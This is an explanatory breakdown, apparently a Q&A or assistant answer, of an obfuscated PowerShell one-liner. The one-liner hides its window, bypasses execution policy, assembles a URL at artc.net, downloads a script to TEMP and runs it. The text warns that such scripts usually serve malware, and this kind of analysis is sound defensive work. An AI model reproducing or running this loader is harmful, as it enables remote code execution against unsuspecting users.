The provided PowerShell command is a script that downloads and...

The provided PowerShell command is a script that downloads and executes a remote script. Here's a breakdown of what the code does:

1. -w h -nop -ep Bypass: These arguments modify the behavior of the PowerShell interpreter:

   • -w h: Sets the console window to hidden mode.
   • -nop: No profile is loaded, avoiding custom configurations for the current user.
   • -ep Bypass: Bypasses PowerShell's execution policy restrictions.

2. Variable Declarations:

   • $r='https': Defines a variable $r with the value 'https'.
   • $vw=('artc','net')-join'.': Concatenates the strings "artc" and "net", separated by a period, to form the domain name artc.net.
   • $q=$r+'://'+$vw+'/je2.txt': Constructs a URL string, resulting in https://artc.net/je2.txt.

3. Filename Generation:

   • $qu=[guid]::NewGuid().ToString()+'.ps1': Generates a random GUID and appends the .ps1 extension, creating a unique, random filename for a PowerShell script.
   • $f=Join-Path $env:TEMP $qu: Combines the system's temporary directory ($env:TEMP) with the generated filename to determine a full path where the script will be saved.

4. Downloading the Remote Script:

   • iwr $q -OutFile $f: Uses the Invoke-WebRequest PowerShell command (iwr) to download the content from the URL ($q, pointing to https://artc.net/je2.txt) and saves it to the file path stored in $f.

5. Executing the Remote Script:

   • &$f: Executes the downloaded PowerShell script using the & call operator.

Summary:

The script:

1. Constructs a URL (https://artc.net/je2.txt).
2. Downloads the file located at that URL into the temporary directory with a random filename.
3. Executes the downloaded file as a PowerShell script.

This kind of script is typically used in scenarios involving remote code execution, often for malicious purposes such as downloading and running malware. Be cautious with this type of script as it may execute potentially dangerous code from an untrusted source.